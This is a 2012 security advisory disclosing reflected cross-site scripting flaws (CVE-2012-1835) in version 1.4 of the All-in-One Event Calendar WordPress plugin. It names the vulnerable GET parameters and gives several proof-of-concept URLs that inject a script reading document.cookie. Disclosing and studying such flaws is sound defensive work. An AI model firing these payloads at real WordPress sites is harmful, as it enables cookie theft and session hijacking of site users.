Advisory ID: HTB23082
Product: All-in-One Event Calendar Plugin for WordPress
Vendor: The Seed Studio
Vulnerable Version(s): 1.4 and probably prior
Tested Version: 1.4
Vendor Notification: 21 March 2012 
Public Disclosure: 11 April 2012 
Vulnerability Type: Cross-Site Scripting (XSS)
CVE Reference(s): CVE-2012-1835
Risk Level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in All-in-One Event Calendar Plugin for WordPress, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in All-in-One Event Calendar Plugin for WordPress: CVE-2012-1835

1.1 Input passed via the "title" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 Input passed via the "args", "title", "before_title", "after_title" GET parameters to /wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC (Proof of Concept) demonstrate the vulnerabilities:

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.3 Input passed via the "button_value" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php?button_value=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.4 Input passed via the "msg" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of these vulnerabilities (1.1-1.4) requires that "register_globals" is enabled.

-----------------------------------------------------------------------------------------------

Solution:

Currently we are not aware of any vendor-supplied patches or other solutions.
Edit the application source code to ensure that input is properly sanitised.

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23082 - https://www.htbridge.com/advisory/HTB23082 - Multiple XSS vulnerabilities in All-in-One Event Calendar Plugin for WordPress.
[2] All-in-One Event Calendar Plugin for WordPress - http://theseednetwork.com/ - An event calendar system with month, week, agenda views, upcoming events widget, color-coded categories, recurrence, and import/export of .ics feeds.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.